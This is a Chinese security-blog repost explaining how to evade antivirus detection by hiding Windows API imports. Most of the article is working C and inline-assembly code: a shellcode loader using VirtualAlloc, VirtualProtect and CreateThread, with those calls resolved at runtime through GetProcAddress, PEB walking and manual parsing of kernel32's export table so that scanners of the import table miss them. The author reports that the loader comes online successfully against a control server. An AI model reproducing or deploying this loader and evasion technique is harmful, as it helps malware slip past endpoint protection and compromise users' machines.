通过隐藏导入表的方式规避杀软

admin 2023年5月29日13:39:22评论19 views字数 9479阅读31分35秒阅读模式

本文转自先知社区:https://xz.aliyun.com/t/12035

作者:刘*x

前言

在PE文件中,存在iat导入表,记录了PE文件使用的API以及相关的dll模块。
编译一个MessageBox文件,查看其导入表:

#include<stdio.h>#include<Windows.h>
int main(){ printf("hello worldn"); MessageBox(0, TEXT("hello world"), 0, 0); return 0;}

可以看到使用了MessageBox这个API

通过隐藏导入表的方式规避杀软

杀软会对导入表进行查杀,如果发现存在恶意的API,比如VirtualAlloc,CreateThread等,就会认为文件是一个恶意文件。我们可以通过自定义API的方式隐藏导入表中的恶意API。

自定义API函数

FARPROC GetProcAddress(  [in] HMODULE hModule, 包含函数或变量的 DLL 模块的句柄  [in] LPCSTR  lpProcName 函数或变量名称);定义:typedef int (FAR WINAPI *FARPROC)();

HMODULE GetModuleHandleA(    LPCSTR lpModuleName     // 模块名称);                         // 成功返回句柄 失败返回NULL
HMODULE LoadLibraryA( LPCSTR lpLibFileName // 一个dll文件); // 成功返回句柄 失败返回NULL

这里GetModuleHandle和LoadLibrary作用是一样的,获取dll文件。
通过以上函数自定义API。

#include<stdio.h>#include<Windows.h>
typedef int(WINAPI * pMessageBox) (
HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );
int main(){

printf("hello worldn"); pMessageBox MyMessageBox = (pMessageBox)GetProcAddress(LoadLibrary("User32.dll"), "MessageBoxA"); MyMessageBox(0, TEXT("hello world"), 0, 0); return 0;}

程序可以正常运行:

通过隐藏导入表的方式规避杀软

查看其导入表:
User32.dll和MessageBox都不存在。

通过隐藏导入表的方式规避杀软

实战测试

用创建进程的方式加载shellcode。

#include <Windows.h>#include <intrin.h>#include <WinBase.h>#include <stdio.h>// 入口函数int wmain(int argc, TCHAR * argv[]) {
int shellcode_size = 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 DWORD dwOldProtect; // 内存页属性

char buf[] = "";

// 获取shellcode大小 shellcode_size = sizeof(buf);
char * shellcode = (char *)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE // 只申请可读可写 ); // 将shellcode复制到可读可写的内存页中 CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行 VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 return 0;}

我们将这里敏感的API进行自定义:

//VirtualProtecttypedef BOOL(WINAPI * pVirtualProtect) (    LPVOID lpAddress,    SIZE_T dwSize,    DWORD  flNewProtect,    PDWORD lpflOldProtect);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect");
//CreateThreadtypedef HANDLE(WINAPI * pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");//VirtualAlloctypedef LPVOID (WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");

最终代码:

#include <Windows.h>#include <intrin.h>#include <WinBase.h>#include <stdio.h>
//自定义API
typedef BOOL(WINAPI * pVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
typedef HANDLE(WINAPI * pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");
typedef LPVOID (WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");

// 入口函数int wmain(int argc, TCHAR * argv[]) {
int shellcode_size = 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 DWORD dwOldProtect; // 内存页属性/* length: 800 bytes */
char buf[] = "";

// 获取shellcode大小 shellcode_size = sizeof(buf);
char * shellcode = (char *)MyVirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE // 只申请可读可写 ); // 将shellcode复制到可读可写的内存页中 CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行 MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = MyCreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 return 0;}

可以成功上线:

通过隐藏导入表的方式规避杀软

查看导入表:

通过隐藏导入表的方式规避杀软

可以看到,自定义的三个API已经看不到了,但是GetProcAddress和GetModuleHandle也可能会作为杀软识别的对象。

深入隐藏

通过手动获取dll文件的方式,获取这两个函数的地址。
大致流程:

  1. 找到kernel32.dll的地址

  2. 遍历啊kernel32.dll的导入表,找到GetProcAddress的地址

  3. 使用GetProcAddress获取LoadLibrary函数的地址

  4. 然后使用 LoadLibrary加载DLL文件

  5. 使用 GetProcAddress查找某个函数的地址
    ### 获取kernel32.dll的地址
    这里使用汇编获取,先贴代码。

DWORD GetKernel32Address() {DWORD dwKernel32Addr = 0;_asm {    mov eax, fs: [0x30]    mov eax, [eax + 0x0c]    mov eax, [eax + 0x14]    mov eax, [eax]    mov eax, [eax]    mov eax, [eax + 0x10]    mov dwKernel32Addr, eax } return    dwKernel32Addr;}

1.这里有两个关键的结构,TEB(线程环境块)和PEB(进程环境块)。PEB结构存储着整个进程的信息。而PEB结构又存放在TEB中。
这两个结构指针都存放在fs寄存器中,fs:[0x30]是PEB fs:[0x18]是TEB。
接下来再分析上面代码的具体过程:

mov eax, fs: [0x30]指向PEB结构

通过隐藏导入表的方式规避杀软

mov eax, [eax + 0xc]0xc处存放者LDR指针它指向一个_PEB_LDR_DATA结构

通过隐藏导入表的方式规避杀软

mov eax, [eax + 0x14]指向LDR指针中的InMemoryOrderModuleList链表

通过隐藏导入表的方式规避杀软

这里面有三个链表,这三个列表中的模块是一样的,只是顺序不同。

通过隐藏导入表的方式规避杀软

mov eax, [eax]mov eax, [eax]

因为kernel32的位置是第三个,第一个是InMemoryOrderModuleList本身,向下两次,就找到了kernel32(这块还不是很理解)。
最后就是获取kernel32的基址:

mov eax, [eax + 0x10]InMemoryOrderModuleList 再偏移0x10,指向dllbase

通过隐藏导入表的方式规避杀软


### 获取GetProcAddress
不做叙述,有兴趣的可以自行学习,代码如下:

DWORD RGetProcAddress() { //获取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //获取Dos头 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //获取Nt头 Nt头=dll基址+Dos头 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //数据目录表                            扩展头 数据目录表 + 导出表    定位导出表 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory +IMAGE_DIRECTORY_ENTRY_EXPORT; //导出表 //导出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress); //函数总数 DWORD dwFunCount = pExport->NumberOfFunctions; //函数名称数量 DWORD dwFunNameCount = pExport->NumberOfNames; //函数地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase); //函数名称地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序号表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals+ dwAddrBase);  //遍历函数总数  for (size_t i = 0; i < dwFunCount; i++)    {     //判断函数地址是否存在       if (!pAddrOfFun[i])      {             continue;         }                  //通过函数地址遍历函数名称地址,获取想要的函数      DWORD dwFunAddrOffset = pAddrOfFun[i];      for (size_t j = 0; j < dwFunNameCount; j++)      {            if (pAddrOfOrdinals[j] == i)            {                DWORD dwNameOffset = pAddrOfNames[j];               char * pFunName = (char *)(dwAddrBase + dwNameOffset);              if (strcmp(pFunName,"GetProcAddress")==0)              {                    return dwFunAddrOffset + dwAddrBase;             }         }     } }}

## 完整代码

#include <Windows.h>#include <intrin.h>#include <WinBase.h>#include <stdio.h>DWORD GetKernel32Address() { DWORD dwKernel32Addr = 0; _asm {     mov eax, fs: [0x30]             mov eax, [eax + 0x0c]             mov eax, [eax + 0x14]             mov eax, [eax]             mov eax, [eax]             mov eax, [eax + 0x10]             mov dwKernel32Addr, eax } return  dwKernel32Addr;}DWORD RGetProcAddress() { //获取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //获取Dos头 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //获取Nt头 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //数据目录表                         扩展头 数据目录表 + 导出表    定位导出表 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; //导出表 //导出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress); //函数总数 DWORD dwFunCount = pExport->NumberOfFunctions; //函数名称数量 DWORD dwFunNameCount = pExport->NumberOfNames; //函数地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase); //函数名称地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序号表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + dwAddrBase); for (size_t i = 0; i < dwFunCount; i++) {     if (!pAddrOfFun[i]) {         continue;     }     DWORD dwFunAddrOffset = pAddrOfFun[i];     for (size_t j = 0; j < dwFunNameCount; j++) {         if (pAddrOfOrdinals[j] == i) {             DWORD dwNameOffset = pAddrOfNames[j];             char * pFunName = (char *)(dwAddrBase + dwNameOffset);             if (strcmp(pFunName, "GetProcAddress") == 0) {                 return dwFunAddrOffset + dwAddrBase;             }         }     } }}//自定义API//获取kernel32.dll地址HMODULE hKernel32 = (HMODULE)GetKernel32Address();//自定义GetProcAddresstypedef FARPROC(WINAPI *pGetProcAddress)( _In_ HMODULE hModule, _In_ LPCSTR lpProcName );//动态获取GetProcAddresspGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress();//自定义GetModuleHandletypedef HMODULE(WINAPI* pGetModuleHandle)( _In_ LPCSTR lpLibFileName );pGetModuleHandle MyGetModuleHandle = (pGetModuleHandle)MyGetProcAddress(hKernel32, "GetModuleHandle");//自定义VirtualProtecttypedef BOOL(WINAPI * pVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(hKernel32, "VirtualProtect");//自定义CreateThreadtypedef HANDLE(WINAPI * pCreateThread)( LPSECURITY_ATTRIBUTES   lpThreadAttributes, SIZE_T                  dwStackSize, LPTHREAD_START_ROUTINE  lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD                   dwCreationFlags, LPDWORD                 lpThreadId  );pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(hKernel32,"CreateThread");//自定义VirtualAlloctypedef LPVOID (WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD  flProtect);pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)MyGetProcAddress(hKernel32, "VirtualAlloc");// 入口函数int wmain(int argc, TCHAR * argv[]) { int shellcode_size = 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 DWORD dwOldProtect; // 内存页属性 char buf[] = ""; // 获取shellcode大小 shellcode_size = sizeof(buf); char * shellcode = (char *)MyVirtualAlloc(         NULL,         shellcode_size,         MEM_COMMIT,         PAGE_READWRITE // 只申请可读可写 ); // 将shellcode复制到可读可写的内存页中 CopyMemory(shellcode, buf, shellcode_size); // 这里开始更改它的属性为可执行 MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); hThread = MyCreateThread(         NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 return 0;}

成功上线:

通过隐藏导入表的方式规避杀软
查看导入表,敏感API都已隐藏:

通过隐藏导入表的方式规避杀软


## 参考链接
https://xz.aliyun.com/t/10478
https://bbs.kanxue.com/thread-266678.htm
https://www.bilibili.com/video/BV1re4y1j7ih/

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

通过隐藏导入表的方式规避杀软
靶场实操,戳“阅读原文“

原文始发于微信公众号(合天网安实验室):通过隐藏导入表的方式规避杀软

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月29日13:39:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过隐藏导入表的方式规避杀软https://cn-sec.com/archives/1764399.html

发表评论

匿名网友 填写信息